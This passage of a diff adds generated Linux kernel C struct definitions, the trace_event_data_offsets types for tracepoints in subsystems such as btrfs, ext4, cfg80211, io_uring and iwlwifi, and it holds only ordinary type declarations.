trace_event_data_offsets_balance_dirty_pages {}; + +struct trace_event_data_offsets_bdi_dirty_ratelimit {}; + +struct trace_event_data_offsets_benchmark_event {}; + +struct trace_event_data_offsets_block_bio {}; + +struct trace_event_data_offsets_block_bio_complete {}; + +struct trace_event_data_offsets_block_bio_remap {}; + +struct trace_event_data_offsets_block_buffer {}; + +struct trace_event_data_offsets_block_plug {}; + +struct trace_event_data_offsets_block_rq { + u32 cmd; + const void *cmd_ptr_; +}; + +struct trace_event_data_offsets_block_rq_completion { + u32 cmd; + const void *cmd_ptr_; +}; + +struct trace_event_data_offsets_block_rq_remap {}; + +struct trace_event_data_offsets_block_rq_requeue { + u32 cmd; + const void *cmd_ptr_; +}; + +struct trace_event_data_offsets_block_split {}; + +struct trace_event_data_offsets_block_unplug {}; + +struct trace_event_data_offsets_bpf_test_finish {}; + +struct trace_event_data_offsets_bpf_trace_printk { + u32 bpf_string; + const void *bpf_string_ptr_; +}; + +struct trace_event_data_offsets_bpf_trigger_tp {}; + +struct trace_event_data_offsets_bpf_xdp_link_attach_failed { + u32 msg; + const void *msg_ptr_; +}; + +struct trace_event_data_offsets_br_fdb_add { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_br_fdb_external_learn_add { + u32 br_dev; + const void *br_dev_ptr_; + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_br_fdb_update { + u32 br_dev; + const void *br_dev_ptr_; + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_br_mdb_full { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_btrfs__block_group {}; + +struct trace_event_data_offsets_btrfs__chunk {}; + +struct trace_event_data_offsets_btrfs__file_extent_item_inline {}; + +struct trace_event_data_offsets_btrfs__file_extent_item_regular {}; + +struct trace_event_data_offsets_btrfs__inode {}; + +struct trace_event_data_offsets_btrfs__ordered_extent {}; + +struct trace_event_data_offsets_btrfs__prelim_ref {}; + +struct trace_event_data_offsets_btrfs__qgroup_rsv_data {}; + +struct trace_event_data_offsets_btrfs__reserve_extent {}; + +struct trace_event_data_offsets_btrfs__reserved_extent {}; + +struct trace_event_data_offsets_btrfs__space_info_update {}; + +struct trace_event_data_offsets_btrfs__work {}; + +struct trace_event_data_offsets_btrfs__work__done {}; + +struct trace_event_data_offsets_btrfs__writepage {}; + +struct trace_event_data_offsets_btrfs_add_block_group {}; + +struct trace_event_data_offsets_btrfs_clear_extent_bit {}; + +struct trace_event_data_offsets_btrfs_convert_extent_bit {}; + +struct trace_event_data_offsets_btrfs_cow_block {}; + +struct trace_event_data_offsets_btrfs_delayed_data_ref {}; + +struct trace_event_data_offsets_btrfs_delayed_ref_head {}; + +struct trace_event_data_offsets_btrfs_delayed_tree_ref {}; + +struct trace_event_data_offsets_btrfs_dump_space_info {}; + +struct trace_event_data_offsets_btrfs_extent_map_shrinker_count {}; + +struct trace_event_data_offsets_btrfs_extent_map_shrinker_remove_em {}; + +struct trace_event_data_offsets_btrfs_extent_map_shrinker_scan_enter {}; + +struct trace_event_data_offsets_btrfs_extent_map_shrinker_scan_exit {}; + +struct trace_event_data_offsets_btrfs_failed_cluster_setup {}; + +struct trace_event_data_offsets_btrfs_find_cluster {}; + +struct trace_event_data_offsets_btrfs_finish_ordered_extent {}; + +struct trace_event_data_offsets_btrfs_flush_space {}; + +struct trace_event_data_offsets_btrfs_get_extent {}; + +struct trace_event_data_offsets_btrfs_get_raid_extent_offset {}; + +struct trace_event_data_offsets_btrfs_handle_em_exist {}; + +struct trace_event_data_offsets_btrfs_inode_mod_outstanding_extents {}; + +struct trace_event_data_offsets_btrfs_insert_one_raid_extent {}; + +struct trace_event_data_offsets_btrfs_locking_events {}; + +struct trace_event_data_offsets_btrfs_qgroup_account_extent {}; + +struct trace_event_data_offsets_btrfs_qgroup_extent {}; + +struct trace_event_data_offsets_btrfs_raid56_bio {}; + +struct trace_event_data_offsets_btrfs_raid_extent_delete {}; + +struct trace_event_data_offsets_btrfs_reserve_ticket {}; + +struct trace_event_data_offsets_btrfs_set_extent_bit {}; + +struct trace_event_data_offsets_btrfs_setup_cluster {}; + +struct trace_event_data_offsets_btrfs_sleep_tree_lock {}; + +struct trace_event_data_offsets_btrfs_space_reservation { + u32 type; + const void *type_ptr_; +}; + +struct trace_event_data_offsets_btrfs_sync_file {}; + +struct trace_event_data_offsets_btrfs_sync_fs {}; + +struct trace_event_data_offsets_btrfs_transaction_commit {}; + +struct trace_event_data_offsets_btrfs_trigger_flush { + u32 reason; + const void *reason_ptr_; +}; + +struct trace_event_data_offsets_btrfs_workqueue { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_btrfs_workqueue_done {}; + +struct trace_event_data_offsets_btrfs_writepage_end_io_hook {}; + +struct trace_event_data_offsets_cdev_update { + u32 type; + const void *type_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_assoc_comeback {}; + +struct trace_event_data_offsets_cfg80211_bss_color_notify {}; + +struct trace_event_data_offsets_cfg80211_bss_evt {}; + +struct trace_event_data_offsets_cfg80211_cac_event {}; + +struct trace_event_data_offsets_cfg80211_ch_switch_notify {}; + +struct trace_event_data_offsets_cfg80211_ch_switch_started_notify {}; + +struct trace_event_data_offsets_cfg80211_chandef_dfs_required {}; + +struct trace_event_data_offsets_cfg80211_control_port_tx_status {}; + +struct trace_event_data_offsets_cfg80211_cqm_pktloss_notify {}; + +struct trace_event_data_offsets_cfg80211_cqm_rssi_notify {}; + +struct trace_event_data_offsets_cfg80211_ft_event { + u32 ies; + const void *ies_ptr_; + u32 ric_ies; + const void *ric_ies_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_get_bss { + u32 ssid; + const void *ssid_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_ibss_joined {}; + +struct trace_event_data_offsets_cfg80211_inform_bss_frame { + u32 mgmt; + const void *mgmt_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_links_removed {}; + +struct trace_event_data_offsets_cfg80211_mgmt_tx_status {}; + +struct trace_event_data_offsets_cfg80211_michael_mic_failure {}; + +struct trace_event_data_offsets_cfg80211_netdev_mac_evt {}; + +struct trace_event_data_offsets_cfg80211_new_sta {}; + +struct trace_event_data_offsets_cfg80211_pmksa_candidate_notify {}; + +struct trace_event_data_offsets_cfg80211_pmsr_complete {}; + +struct trace_event_data_offsets_cfg80211_pmsr_report {}; + +struct trace_event_data_offsets_cfg80211_probe_status {}; + +struct trace_event_data_offsets_cfg80211_radar_event {}; + +struct trace_event_data_offsets_cfg80211_ready_on_channel {}; + +struct trace_event_data_offsets_cfg80211_ready_on_channel_expired {}; + +struct trace_event_data_offsets_cfg80211_reg_can_beacon {}; + +struct trace_event_data_offsets_cfg80211_report_obss_beacon {}; + +struct trace_event_data_offsets_cfg80211_report_wowlan_wakeup { + u32 packet; + const void *packet_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_return_bool {}; + +struct trace_event_data_offsets_cfg80211_return_u32 {}; + +struct trace_event_data_offsets_cfg80211_return_uint {}; + +struct trace_event_data_offsets_cfg80211_rx_control_port {}; + +struct trace_event_data_offsets_cfg80211_rx_evt {}; + +struct trace_event_data_offsets_cfg80211_rx_mgmt {}; + +struct trace_event_data_offsets_cfg80211_scan_done { + u32 ie; + const void *ie_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_send_assoc_failure {}; + +struct trace_event_data_offsets_cfg80211_send_rx_assoc {}; + +struct trace_event_data_offsets_cfg80211_stop_iface {}; + +struct trace_event_data_offsets_cfg80211_tdls_oper_request {}; + +struct trace_event_data_offsets_cfg80211_tx_mgmt_expired {}; + +struct trace_event_data_offsets_cfg80211_tx_mlme_mgmt { + u32 frame; + const void *frame_ptr_; +}; + +struct trace_event_data_offsets_cfg80211_update_owe_info_event { + u32 ie; + const void *ie_ptr_; +}; + +struct trace_event_data_offsets_cgroup { + u32 path; + const void *path_ptr_; +}; + +struct trace_event_data_offsets_cgroup_event { + u32 path; + const void *path_ptr_; +}; + +struct trace_event_data_offsets_cgroup_migrate { + u32 dst_path; + const void *dst_path_ptr_; + u32 comm; + const void *comm_ptr_; +}; + +struct trace_event_data_offsets_cgroup_root { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_cgroup_rstat {}; + +struct trace_event_data_offsets_chanswitch_evt { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_clk { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_clk_duty_cycle { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_clk_parent { + u32 name; + const void *name_ptr_; + u32 pname; + const void *pname_ptr_; +}; + +struct trace_event_data_offsets_clk_phase { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_clk_rate { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_clk_rate_range { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_clk_rate_request { + u32 name; + const void *name_ptr_; + u32 pname; + const void *pname_ptr_; +}; + +struct trace_event_data_offsets_clock { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_compact_retry {}; + +struct trace_event_data_offsets_console { + u32 msg; + const void *msg_ptr_; +}; + +struct trace_event_data_offsets_consume_skb {}; + +struct trace_event_data_offsets_contention_begin {}; + +struct trace_event_data_offsets_contention_end {}; + +struct trace_event_data_offsets_context_tracking_user {}; + +struct trace_event_data_offsets_cpu {}; + +struct trace_event_data_offsets_cpu_frequency_limits {}; + +struct trace_event_data_offsets_cpu_idle_miss {}; + +struct trace_event_data_offsets_cpu_latency_qos_request {}; + +struct trace_event_data_offsets_cpuhp_enter {}; + +struct trace_event_data_offsets_cpuhp_exit {}; + +struct trace_event_data_offsets_cpuhp_multi_enter {}; + +struct trace_event_data_offsets_csd_function {}; + +struct trace_event_data_offsets_csd_queue_cpu {}; + +struct trace_event_data_offsets_dev_pm_qos_request { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_device_pm_callback_end { + u32 device; + const void *device_ptr_; + u32 driver; + const void *driver_ptr_; +}; + +struct trace_event_data_offsets_device_pm_callback_start { + u32 device; + const void *device_ptr_; + u32 driver; + const void *driver_ptr_; + u32 parent; + const void *parent_ptr_; + u32 pm_ops; + const void *pm_ops_ptr_; +}; + +struct trace_event_data_offsets_devres { + u32 devname; + const void *devname_ptr_; +}; + +struct trace_event_data_offsets_dma_alloc { + u32 device; + const void *device_ptr_; +}; + +struct trace_event_data_offsets_dma_fence { + u32 driver; + const void *driver_ptr_; + u32 timeline; + const void *timeline_ptr_; +}; + +struct trace_event_data_offsets_dma_free { + u32 device; + const void *device_ptr_; +}; + +struct trace_event_data_offsets_dma_map { + u32 device; + const void *device_ptr_; +}; + +struct trace_event_data_offsets_dma_map_sg { + u32 device; + const void *device_ptr_; + u32 phys_addrs; + const void *phys_addrs_ptr_; + u32 dma_addrs; + const void *dma_addrs_ptr_; + u32 lengths; + const void *lengths_ptr_; +}; + +struct trace_event_data_offsets_dma_sync_sg { + u32 device; + const void *device_ptr_; + u32 dma_addrs; + const void *dma_addrs_ptr_; + u32 lengths; + const void *lengths_ptr_; +}; + +struct trace_event_data_offsets_dma_sync_single { + u32 device; + const void *device_ptr_; +}; + +struct trace_event_data_offsets_dma_unmap { + u32 device; + const void *device_ptr_; +}; + +struct trace_event_data_offsets_dma_unmap_sg { + u32 device; + const void *device_ptr_; + u32 addrs; + const void *addrs_ptr_; +}; + +struct trace_event_data_offsets_dql_stall_detected {}; + +struct trace_event_data_offsets_drv_add_nan_func { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_add_twt_setup {}; + +struct trace_event_data_offsets_drv_ampdu_action { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_can_activate_links { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_can_neg_ttlm { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_change_chanctx {}; + +struct trace_event_data_offsets_drv_change_interface { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_change_sta_links { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_change_vif_links { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_channel_switch_beacon { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_conf_tx { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_config {}; + +struct trace_event_data_offsets_drv_config_iface_filter { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_configure_filter {}; + +struct trace_event_data_offsets_drv_del_nan_func { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_event_callback { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_flush {}; + +struct trace_event_data_offsets_drv_get_antenna {}; + +struct trace_event_data_offsets_drv_get_expected_throughput {}; + +struct trace_event_data_offsets_drv_get_ftm_responder_stats { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_get_key_seq {}; + +struct trace_event_data_offsets_drv_get_ringparam {}; + +struct trace_event_data_offsets_drv_get_stats {}; + +struct trace_event_data_offsets_drv_get_survey {}; + +struct trace_event_data_offsets_drv_get_txpower { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_join_ibss { + u32 vif_name; + const void *vif_name_ptr_; + u32 ssid; + const void *ssid_ptr_; +}; + +struct trace_event_data_offsets_drv_link_info_changed { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_nan_change_conf { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_neg_ttlm_res { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_net_setup_tc { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_offset_tsf { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_prepare_multicast {}; + +struct trace_event_data_offsets_drv_reconfig_complete {}; + +struct trace_event_data_offsets_drv_remain_on_channel { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_return_bool {}; + +struct trace_event_data_offsets_drv_return_int {}; + +struct trace_event_data_offsets_drv_return_u32 {}; + +struct trace_event_data_offsets_drv_return_u64 {}; + +struct trace_event_data_offsets_drv_set_antenna {}; + +struct trace_event_data_offsets_drv_set_bitrate_mask { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_set_coverage_class {}; + +struct trace_event_data_offsets_drv_set_default_unicast_key { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_set_key { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_set_rekey_data { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_set_ringparam {}; + +struct trace_event_data_offsets_drv_set_tim {}; + +struct trace_event_data_offsets_drv_set_tsf { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_set_wakeup {}; + +struct trace_event_data_offsets_drv_sta_notify { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_sta_rc_update { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_sta_set_txpwr { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_sta_state { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_start_ap { + u32 vif_name; + const void *vif_name_ptr_; + u32 ssid; + const void *ssid_ptr_; +}; + +struct trace_event_data_offsets_drv_start_nan { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_stop {}; + +struct trace_event_data_offsets_drv_stop_ap { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_stop_nan { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_sw_scan_start { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_switch_vif_chanctx { + u32 vifs; + const void *vifs_ptr_; +}; + +struct trace_event_data_offsets_drv_tdls_cancel_channel_switch { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_tdls_channel_switch { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_tdls_recv_channel_switch { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_twt_teardown_request {}; + +struct trace_event_data_offsets_drv_update_tkip_key { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_drv_vif_cfg_changed { + u32 vif_name; + const void *vif_name_ptr_; + u32 arp_addr_list; + const void *arp_addr_list_ptr_; + u32 ssid; + const void *ssid_ptr_; +}; + +struct trace_event_data_offsets_drv_wake_tx_queue { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_e1000e_trace_mac_register {}; + +struct trace_event_data_offsets_emulate_vsyscall {}; + +struct trace_event_data_offsets_error_report_template {}; + +struct trace_event_data_offsets_exit_mmap {}; + +struct trace_event_data_offsets_ext4__bitmap_load {}; + +struct trace_event_data_offsets_ext4__es_extent {}; + +struct trace_event_data_offsets_ext4__es_shrink_enter {}; + +struct trace_event_data_offsets_ext4__fallocate_mode {}; + +struct trace_event_data_offsets_ext4__folio_op {}; + +struct trace_event_data_offsets_ext4__map_blocks_enter {}; + +struct trace_event_data_offsets_ext4__map_blocks_exit {}; + +struct trace_event_data_offsets_ext4__mb_new_pa {}; + +struct trace_event_data_offsets_ext4__mballoc {}; + +struct trace_event_data_offsets_ext4__trim {}; + +struct trace_event_data_offsets_ext4__truncate {}; + +struct trace_event_data_offsets_ext4__write_begin {}; + +struct trace_event_data_offsets_ext4__write_end {}; + +struct trace_event_data_offsets_ext4_alloc_da_blocks {}; + +struct trace_event_data_offsets_ext4_allocate_blocks {}; + +struct trace_event_data_offsets_ext4_allocate_inode {}; + +struct trace_event_data_offsets_ext4_begin_ordered_truncate {}; + +struct trace_event_data_offsets_ext4_collapse_range {}; + +struct trace_event_data_offsets_ext4_da_release_space {}; + +struct trace_event_data_offsets_ext4_da_reserve_space {}; + +struct trace_event_data_offsets_ext4_da_update_reserve_space {}; + +struct trace_event_data_offsets_ext4_da_write_pages {}; + +struct trace_event_data_offsets_ext4_da_write_pages_extent {}; + +struct trace_event_data_offsets_ext4_discard_blocks {}; + +struct trace_event_data_offsets_ext4_discard_preallocations {}; + +struct trace_event_data_offsets_ext4_drop_inode {}; + +struct trace_event_data_offsets_ext4_error {}; + +struct trace_event_data_offsets_ext4_es_find_extent_range_enter {}; + +struct trace_event_data_offsets_ext4_es_find_extent_range_exit {}; + +struct trace_event_data_offsets_ext4_es_insert_delayed_extent {}; + +struct trace_event_data_offsets_ext4_es_lookup_extent_enter {}; + +struct trace_event_data_offsets_ext4_es_lookup_extent_exit {}; + +struct trace_event_data_offsets_ext4_es_remove_extent {}; + +struct trace_event_data_offsets_ext4_es_shrink {}; + +struct trace_event_data_offsets_ext4_es_shrink_scan_exit {}; + +struct trace_event_data_offsets_ext4_evict_inode {}; + +struct trace_event_data_offsets_ext4_ext_convert_to_initialized_enter {}; + +struct trace_event_data_offsets_ext4_ext_convert_to_initialized_fastpath {}; + +struct trace_event_data_offsets_ext4_ext_handle_unwritten_extents {}; + +struct trace_event_data_offsets_ext4_ext_load_extent {}; + +struct trace_event_data_offsets_ext4_ext_remove_space {}; + +struct trace_event_data_offsets_ext4_ext_remove_space_done {}; + +struct trace_event_data_offsets_ext4_ext_rm_idx {}; + +struct trace_event_data_offsets_ext4_ext_rm_leaf {}; + +struct trace_event_data_offsets_ext4_ext_show_extent {}; + +struct trace_event_data_offsets_ext4_fallocate_exit {}; + +struct trace_event_data_offsets_ext4_fc_cleanup {}; + +struct trace_event_data_offsets_ext4_fc_commit_start {}; + +struct trace_event_data_offsets_ext4_fc_commit_stop {}; + +struct trace_event_data_offsets_ext4_fc_replay {}; + +struct trace_event_data_offsets_ext4_fc_replay_scan {}; + +struct trace_event_data_offsets_ext4_fc_stats {}; + +struct trace_event_data_offsets_ext4_fc_track_dentry {}; + +struct trace_event_data_offsets_ext4_fc_track_inode {}; + +struct trace_event_data_offsets_ext4_fc_track_range {}; + +struct trace_event_data_offsets_ext4_forget {}; + +struct trace_event_data_offsets_ext4_free_blocks {}; + +struct trace_event_data_offsets_ext4_free_inode {}; + +struct trace_event_data_offsets_ext4_fsmap_class {}; + +struct trace_event_data_offsets_ext4_get_implied_cluster_alloc_exit {}; + +struct trace_event_data_offsets_ext4_getfsmap_class {}; + +struct trace_event_data_offsets_ext4_insert_range {}; + +struct trace_event_data_offsets_ext4_invalidate_folio_op {}; + +struct trace_event_data_offsets_ext4_journal_start_inode {}; + +struct trace_event_data_offsets_ext4_journal_start_reserved {}; + +struct trace_event_data_offsets_ext4_journal_start_sb {}; + +struct trace_event_data_offsets_ext4_lazy_itable_init {}; + +struct trace_event_data_offsets_ext4_load_inode {}; + +struct trace_event_data_offsets_ext4_mark_inode_dirty {}; + +struct trace_event_data_offsets_ext4_mb_discard_preallocations {}; + +struct trace_event_data_offsets_ext4_mb_release_group_pa {}; + +struct trace_event_data_offsets_ext4_mb_release_inode_pa {}; + +struct trace_event_data_offsets_ext4_mballoc_alloc {}; + +struct trace_event_data_offsets_ext4_mballoc_prealloc {}; + +struct trace_event_data_offsets_ext4_nfs_commit_metadata {}; + +struct trace_event_data_offsets_ext4_other_inode_update_time {}; + +struct trace_event_data_offsets_ext4_prefetch_bitmaps {}; + +struct trace_event_data_offsets_ext4_read_block_bitmap_load {}; + +struct trace_event_data_offsets_ext4_remove_blocks {}; + +struct trace_event_data_offsets_ext4_request_blocks {}; + +struct trace_event_data_offsets_ext4_request_inode {}; + +struct trace_event_data_offsets_ext4_shutdown {}; + +struct trace_event_data_offsets_ext4_sync_file_enter {}; + +struct trace_event_data_offsets_ext4_sync_file_exit {}; + +struct trace_event_data_offsets_ext4_sync_fs {}; + +struct trace_event_data_offsets_ext4_unlink_enter {}; + +struct trace_event_data_offsets_ext4_unlink_exit {}; + +struct trace_event_data_offsets_ext4_update_sb {}; + +struct trace_event_data_offsets_ext4_writepages {}; + +struct trace_event_data_offsets_ext4_writepages_result {}; + +struct trace_event_data_offsets_fdb_delete { + u32 br_dev; + const void *br_dev_ptr_; + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_fib6_table_lookup {}; + +struct trace_event_data_offsets_fib_table_lookup {}; + +struct trace_event_data_offsets_file_check_and_advance_wb_err {}; + +struct trace_event_data_offsets_filelock_lease {}; + +struct trace_event_data_offsets_filelock_lock {}; + +struct trace_event_data_offsets_filemap_set_wb_err {}; + +struct trace_event_data_offsets_find_free_extent {}; + +struct trace_event_data_offsets_find_free_extent_have_block_group {}; + +struct trace_event_data_offsets_find_free_extent_search_loop {}; + +struct trace_event_data_offsets_finish_task_reaping {}; + +struct trace_event_data_offsets_flush_foreign {}; + +struct trace_event_data_offsets_free_extent_state {}; + +struct trace_event_data_offsets_free_vmap_area_noflush {}; + +struct trace_event_data_offsets_generic_add_lease {}; + +struct trace_event_data_offsets_global_dirty_state {}; + +struct trace_event_data_offsets_guest_halt_poll_ns {}; + +struct trace_event_data_offsets_hrtimer_class {}; + +struct trace_event_data_offsets_hrtimer_expire_entry {}; + +struct trace_event_data_offsets_hrtimer_init {}; + +struct trace_event_data_offsets_hrtimer_start {}; + +struct trace_event_data_offsets_hugepage_set {}; + +struct trace_event_data_offsets_hugepage_update {}; + +struct trace_event_data_offsets_hwmon_attr_class { + u32 attr_name; + const void *attr_name_ptr_; +}; + +struct trace_event_data_offsets_hwmon_attr_show_string { + u32 attr_name; + const void *attr_name_ptr_; + u32 label; + const void *label_ptr_; +}; + +struct trace_event_data_offsets_i2c_read {}; + +struct trace_event_data_offsets_i2c_reply { + u32 buf; + const void *buf_ptr_; +}; + +struct trace_event_data_offsets_i2c_result {}; + +struct trace_event_data_offsets_i2c_write { + u32 buf; + const void *buf_ptr_; +}; + +struct trace_event_data_offsets_icmp_send {}; + +struct trace_event_data_offsets_inet_sk_error_report {}; + +struct trace_event_data_offsets_inet_sock_set_state {}; + +struct trace_event_data_offsets_initcall_finish {}; + +struct trace_event_data_offsets_initcall_level { + u32 level; + const void *level_ptr_; +}; + +struct trace_event_data_offsets_initcall_start {}; + +struct trace_event_data_offsets_inode_foreign_history {}; + +struct trace_event_data_offsets_inode_switch_wbs {}; + +struct trace_event_data_offsets_io_uring_complete {}; + +struct trace_event_data_offsets_io_uring_cqe_overflow {}; + +struct trace_event_data_offsets_io_uring_cqring_wait {}; + +struct trace_event_data_offsets_io_uring_create {}; + +struct trace_event_data_offsets_io_uring_defer { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_fail_link { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_file_get {}; + +struct trace_event_data_offsets_io_uring_link {}; + +struct trace_event_data_offsets_io_uring_local_work_run {}; + +struct trace_event_data_offsets_io_uring_poll_arm { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_queue_async_work { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_register {}; + +struct trace_event_data_offsets_io_uring_req_failed { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_short_write {}; + +struct trace_event_data_offsets_io_uring_submit_req { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_task_add { + u32 op_str; + const void *op_str_ptr_; +}; + +struct trace_event_data_offsets_io_uring_task_work_run {}; + +struct trace_event_data_offsets_iocg_inuse_update { + u32 devname; + const void *devname_ptr_; + u32 cgroup; + const void *cgroup_ptr_; +}; + +struct trace_event_data_offsets_iocost_ioc_vrate_adj { + u32 devname; + const void *devname_ptr_; +}; + +struct trace_event_data_offsets_iocost_iocg_forgive_debt { + u32 devname; + const void *devname_ptr_; + u32 cgroup; + const void *cgroup_ptr_; +}; + +struct trace_event_data_offsets_iocost_iocg_state { + u32 devname; + const void *devname_ptr_; + u32 cgroup; + const void *cgroup_ptr_; +}; + +struct trace_event_data_offsets_iomap_class {}; + +struct trace_event_data_offsets_iomap_dio_complete {}; + +struct trace_event_data_offsets_iomap_dio_rw_begin {}; + +struct trace_event_data_offsets_iomap_iter {}; + +struct trace_event_data_offsets_iomap_range_class {}; + +struct trace_event_data_offsets_iomap_readpage_class {}; + +struct trace_event_data_offsets_iomap_writepage_map {}; + +struct trace_event_data_offsets_ipi_handler {}; + +struct trace_event_data_offsets_ipi_raise { + u32 target_cpus; + const void *target_cpus_ptr_; +}; + +struct trace_event_data_offsets_ipi_send_cpu {}; + +struct trace_event_data_offsets_ipi_send_cpumask { + u32 cpumask; + const void *cpumask_ptr_; +}; + +struct trace_event_data_offsets_irq_handler_entry { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_irq_handler_exit {}; + +struct trace_event_data_offsets_irq_matrix_cpu {}; + +struct trace_event_data_offsets_irq_matrix_global {}; + +struct trace_event_data_offsets_irq_matrix_global_update {}; + +struct trace_event_data_offsets_itimer_expire {}; + +struct trace_event_data_offsets_itimer_state {}; + +struct trace_event_data_offsets_iwlwifi_dbg { + u32 function; + const void *function_ptr_; + u32 msg; + const void *msg_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_hcmd { + u32 dev; + const void *dev_ptr_; + u32 hcmd; + const void *hcmd_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_ict_read { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_ioread32 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_ioread_prph32 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_iowrite32 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_iowrite64 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_iowrite8 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_iowrite_prph32 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_iowrite_prph64 { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_irq { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_irq_msix { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_rx { + u32 dev; + const void *dev_ptr_; + u32 rxbuf; + const void *rxbuf_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_rx_data { + u32 dev; + const void *dev_ptr_; + u32 data; + const void *data_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_tx { + u32 dev; + const void *dev_ptr_; + u32 tfd; + const void *tfd_ptr_; + u32 buf0; + const void *buf0_ptr_; + u32 buf1; + const void *buf1_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_tx_tb { + u32 dev; + const void *dev_ptr_; + u32 data; + const void *data_ptr_; +}; + +struct 